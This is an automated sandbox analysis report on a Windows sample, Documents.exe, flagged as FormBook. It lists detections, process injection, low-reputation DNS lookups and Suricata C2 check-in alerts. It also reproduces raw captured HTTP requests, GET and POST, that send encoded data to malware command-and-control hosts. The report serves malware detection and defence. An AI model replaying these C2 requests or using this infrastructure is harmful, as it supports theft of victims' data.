Windows Analysis Report
Documents.exe

AI detected suspicious sample

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.4500125760.00000000042A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4498734635.0000000000600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4500198635.00000000042F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2339787064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.4502147682.00000000050C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2340363739.0000000001450000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2342055723.00000000019E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4500549685.0000000002670000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Documents.exe

Joe Sandbox ML: detected

Source: Documents.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Documents.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: systray.pdb source: RegSvcs.exe, 00000009.00000002.2340231400.0000000001058000.00000004.00000020.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000010.00000002.4499291759.0000000000B18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: systray.pdbGCTL source: RegSvcs.exe, 00000009.00000002.2340231400.0000000001058000.00000004.00000020.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000010.00000002.4499291759.0000000000B18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: vWFGbvOdxI.exe, 00000010.00000002.4499807449.0000000000E2E000.00000002.00000001.01000000.0000000D.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4499818518.0000000000E2E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: RegSvcs.pdb, source: systray.exe, 00000011.00000002.4498880450.00000000006C2000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500910385.0000000004B3C000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000002C8C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000014.00000002.2632346908.0000000030C3C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000009.00000002.2340505383.00000000014B0000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500442013.0000000004510000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000011.00000003.2341815008.000000000435E000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000003.2340058980.00000000041AB000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500442013.00000000046AE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000009.00000002.2340505383.00000000014B0000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500442013.0000000004510000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000011.00000003.2341815008.000000000435E000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000003.2340058980.00000000041AB000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500442013.00000000046AE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: systray.exe, 00000011.00000002.4498880450.00000000006C2000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500910385.0000000004B3C000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000002C8C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000014.00000002.2632346908.0000000030C3C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Documents.exe

Code function: 4x nop then jmp 05F1D0C1h

0_2_05F1D22F

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49818 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49809 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49847 -> 104.18.73.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49825 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49888 -> 192.185.147.100:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49859 -> 104.18.73.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49952 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49894 -> 192.185.147.100:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49959 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49984 -> 172.67.222.69:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49924 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49991 -> 172.67.222.69:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49930 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50007 -> 103.249.106.91:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50009 -> 103.249.106.91:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50008 -> 103.249.106.91:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49999 -> 172.67.222.69:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50013 -> 121.43.155.35:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50011 -> 121.43.155.35:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50016 -> 199.192.23.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50021 -> 52.60.87.163:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50028 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50020 -> 52.60.87.163:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50023 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50025 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50032 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50031 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50017 -> 199.192.23.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50015 -> 199.192.23.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50024 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49852 -> 104.18.73.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50027 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50012 -> 121.43.155.35:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49882 -> 192.185.147.100:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50019 -> 52.60.87.163:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49965 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50029 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49917 -> 13.248.169.48:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.6822662.xyz
Source:	DNS query: www.lingdianyun29.xyz
Source:	DNS query: www.030002449.xyz

Source: Joe Sandbox View	IP Address: 162.0.215.33 162.0.215.33
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: Joe Sandbox View	ASN Name: ACPCA ACPCA
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /cs9k/?QhKxhNP=W7SiLeR8lVOS0IddzXWoYXDt6RHub9Z/llH5xMN7IPTa857c9EQRUjsfmtg32BbwdcsWIPqYG66ejHdS265gpP2tZDtQplym5WCIjSXUngUJeAz/nR33NA1XQvWBI8EpRg==&Yby=d2ydCtHpb8 HTTP/1.1Host: www.holytur.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /30le/?QhKxhNP=jHE7b6Z9ED1A0Je7bwo+kjGjstTykwGZjMkqHVfcjQ95lgOzDj3OOkgun9YTkzFADI0DOvoxgj3LN5jGlHy+CHSERWGJqvHJseYAxerz13ZcR6Qaw8dlP7tGoG6xZXENiQ==&Yby=d2ydCtHpb8 HTTP/1.1Host: www.nieuws-july202488.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /s15n/?QhKxhNP=JfQJqlQL4YuujxfZFicS9Y3zSvzh5uc29LPY+3nQdNuELRDWQb2uefNArAI9Jzm+wUv6iBr2b0gwhreB6wQHxTYP3MQRZc2DBo1D75Es8xJLJq3ZosxOeO3P23AwVQ3aXA==&Yby=d2ydCtHpb8 HTTP/1.1Host: www.losmason.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /yf1h/?QhKxhNP=YVpI46H16R/w/kk1bY6rBRavyZUbsgJtp9CZM+Bxvkr6dioDBNQhLHAnFkN0G7WaNsS3kDmK0ayEpl6TGabHmNyPQwWjM0ybC5bIBemWzNbXvkTcX815xQrmtulGFojAfQ==&Yby=d2ydCtHpb8 HTTP/1.1Host: www.hayaniya.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /rxts/?Yby=d2ydCtHpb8&QhKxhNP=UMqd3Rr/GgjcpDtMifF0hAVXULwugGyaJHdfF0vXYxuoY8NmwcRKHFRQ3Zc522gmFWLmVhpOr5FlbfkrODlmL/pMmEFBmvtdQsTPBX/BeC8bc9YX4gHB5yTSGVyOHdtWew== HTTP/1.1Host: www.lovel.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /zs4o/?QhKxhNP=40yvXZqQXwyOFTl0d1fxwhQGTsZjKCC3JWjHJEZ8IBZutO+YSqvvwioh1RBVRKlMIRVxucUqEMWgr+FAgfZYoR4vWuFQr4uBZgu5x5JrNmZwlLDog/JQkd5M42bUbwrevw==&Yby=d2ydCtHpb8 HTTP/1.1Host: www.duskgazes.workAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /xyvr/?Yby=d2ydCtHpb8&QhKxhNP=Dk/wQKBXq4hP/zVb9ApyZmDkyzbQqrM0hWgYI5VbiKGV4GeQY6os12Lf5EdpuHYA6f15h+K7XFjq1wIjorrCnH6ZrrhC9s12l00lNHx4+XmTSfuGU54Az/E2dcdiA+66+g== HTTP/1.1Host: www.zrinorem-srumimit.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /dnjw/?QhKxhNP=LLuahgeFNd50MfmeR+YO4X7oQIpbAv675x2tVSlUIoVemPDFIi7IcWvJHwj84u5Zt+Ov/a/NakHy5HK7jRYViNkqfDz6ShsEoBWZb9ZpzTMPTjlue++bzVqPhWzfo/q89w==&Yby=d2ydCtHpb8 HTTP/1.1Host: www.6822662.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /404o/?QhKxhNP=WKBQtURp4mxoG42HvJVFdxkBeoRQKLcKkncaZCQ6BKNKWWSe5DM6Y469mdl3/OFUlQwZCGrNWgxnPoxBbE5j38LAsK6uFZ8oMmHn4Vx5wOob/Qku77DXil1QxQESxukZTQ==&Yby=d2ydCtHpb8 HTTP/1.1Host: www.lingdianyun29.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /d5up/?QhKxhNP=t4sGAbB2VavWqiiIadPUj68mTJ7Q54MapR6mUVHY3SwgNZVHyOwsTaauiAAffAhHdKJKrrjT+NERuNHfq0vx0hlOGr9kxI5wEfZ1g7ObOVlc/eoN6Msnk6zs6578MLwdAQ==&Yby=d2ydCtHpb8 HTTP/1.1Host: www.learnnow.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /jcsf/?QhKxhNP=NJIOohqps9aNaGk8Gv0x95TXV1ke4jY2ru9PIld0z7+iuCSmXzhmM46cxc5xGqvTMH7YV8ukdWwIlgb06ERZu+HhQde6PspHhBqQKwPZwv/EXFgjFQrkOjXlWxa7+IRGPg==&Yby=d2ydCtHpb8 HTTP/1.1Host: www.carpentry.clubAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /cfqm/?QhKxhNP=FHiNz6b6Wn9oKec3i10x/NxXWu4/t8kjzDy3bn44oOFoUWscXE4DzqYFgJdNnLXTrdZ+ESI+3Oq4E1BzotELfZv0FR4L9xniphkEx7BDvvGrYDhvMkPmWTEebCLVzsH5Qg==&Yby=d2ydCtHpb8 HTTP/1.1Host: www.030002449.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /4ia5/?Yby=d2ydCtHpb8&QhKxhNP=oT6nzMsk5LGNbZnpqYupld8IqKtrWX3IcFzU22s19J/vOzFqssjWYMTSR1XNlBsCMk+VGX4Yc+V3gPgjU/YcbzdAUc79Tjp71o7bTfkvAIZVHxyoJSYvjU3Ey8bm4rBe7Q== HTTP/1.1Host: www.innovationpulse.techAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

Source: global traffic	DNS traffic detected: DNS query: www.holytur.net
Source: global traffic	DNS traffic detected: DNS query: www.nieuws-july202488.sbs
Source: global traffic	DNS traffic detected: DNS query: www.losmason.shop
Source: global traffic	DNS traffic detected: DNS query: www.hayaniya.org
Source: global traffic	DNS traffic detected: DNS query: www.lovel.shop
Source: global traffic	DNS traffic detected: DNS query: www.duskgazes.work
Source: global traffic	DNS traffic detected: DNS query: www.zrinorem-srumimit.sbs
Source: global traffic	DNS traffic detected: DNS query: www.6822662.xyz
Source: global traffic	DNS traffic detected: DNS query: www.lingdianyun29.xyz
Source: global traffic	DNS traffic detected: DNS query: www.learnnow.info
Source: global traffic	DNS traffic detected: DNS query: www.carpentry.club
Source: global traffic	DNS traffic detected: DNS query: www.030002449.xyz
Source: global traffic	DNS traffic detected: DNS query: www.innovationpulse.tech
Source: global traffic	DNS traffic detected: DNS query: www.hasan.cloud

Source: unknown

HTTP traffic detected: POST /30le/ HTTP/1.1Host: www.nieuws-july202488.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: closeContent-Length: 208Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedOrigin: http://www.nieuws-july202488.sbsReferer: http://www.nieuws-july202488.sbs/30le/User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Data Raw: 51 68 4b 78 68 4e 50 3d 75 46 73 62 59 4b 78 69 4a 78 59 70 67 4a 65 35 64 58 45 46 70 45 32 49 67 50 58 47 6e 79 32 78 79 75 35 31 50 58 53 64 68 46 6b 49 6a 7a 62 30 4f 54 36 2b 4c 6c 6c 35 6d 35 55 59 7a 51 42 71 66 36 6b 4e 52 4f 55 61 76 56 37 73 4f 6f 62 68 69 6d 4b 30 65 6b 6e 49 41 6b 2b 69 6c 36 61 65 6e 4d 49 76 38 64 50 43 31 32 4a 4e 65 70 30 36 32 2f 70 35 4c 59 74 65 6f 6e 69 44 56 6c 31 35 67 45 67 44 79 45 6c 2b 32 38 41 58 51 6f 33 32 75 30 48 7a 53 4b 6f 78 79 72 51 71 38 66 62 43 53 75 45 52 34 56 6a 65 73 6f 56 4c 6c 4c 44 74 45 67 43 59 76 34 42 71 41 46 4a 34 6f 2f 6f 47 75 58 44 52 4c 37 51 3d Data Ascii: QhKxhNP=uFsbYKxiJxYpgJe5dXEFpE2IgPXGny2xyu51PXSdhFkIjzb0OT6+Lll5m5UYzQBqf6kNROUavV7sOobhimK0eknIAk+il6aenMIv8dPC12JNep062/p5LYteoniDVl15gEgDyEl+28AXQo32u0HzSKoxyrQq8fbCSuER4VjesoVLlLDtEgCYv4BqAFJ4o/oGuXDRL7Q=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 28 Nov 2024 08:13:51 GMTContent-Type: text/html; charset=UTF-8Content-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Thu, 28 Nov 2024 08:14:09 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 a2 a6 aa 67 b4 21 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f b1 4b 66 6d 28 dc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 93 a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 70 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d a6 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 55 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f 18 87 a9 7b 1f b8 a1 1f 54 60 f8 2b 81 91 c3 31 4a 60 93 f7 b3 2c d3 8e fc a2 97 01 98 28 ce 8a 87 c1 3f 7b 97 f6 7e da eb 18 36 c5 31 1c 79 3f 96 9b 8e 13 a6 fe c3 e0 a6 3f 31 0b 3f 4c df 75 ff e7 77 f6 4b d7 ae c2 2c fd 02 44 cf 2a b7 b8 d1 87 13 96 79 6c 02 5d 58 71 66 47 ff 07 db 7d ed f1 67 02 8d dc ee f4 cc e4 7d ec 7a 40 4b 66 5d 65 ef 37 7b 19 2e 9e b5 f8 e3 f8 9b ec 03 14 b9 b6 c0 9b a4 5f 01 22 f3 2c 2d dd fb 30 f5 b2 1b 41 5f f5 ca 5c da db de 57 cb cb ca ac ea 12 58 c7 71 6f 16 5f 50 f3 6c fe 21 82 fc cb 1f ad 2e 5c b3 cc d2 cf d7 63 c3 eb f5 3d 24 3f 33 c1 15 67 17 9d da d5 45 ae 2f df 2d 0b e4 ed f7 ba ef 03 c5 cd 86 af d2 22 97 f6 21 bf 3d 96 7a 60 00 c7 fb 40 5d 57 68 2d dc dc 35 81 cd 40 18 79 fe f9 46 ae 67 ff 6a e6 eb ae d8 04 a7 08 ea fd b4 d7 b1 e9 a5 bd 8d 5d 49 79 cb 91 f9 89 50 bf 4e e2 3e ac dc a4 bc 21 f3 1d 49 18 c0 d1 0f ae 14 a6 6f ae 3c c1 3f 01 da b5 3d 6e a8 bf e0 d8 ca aa 2a 4b 1e 06 fd 1e 6f c2 f6 fa ba c2 12 3a ba 1e bc d2 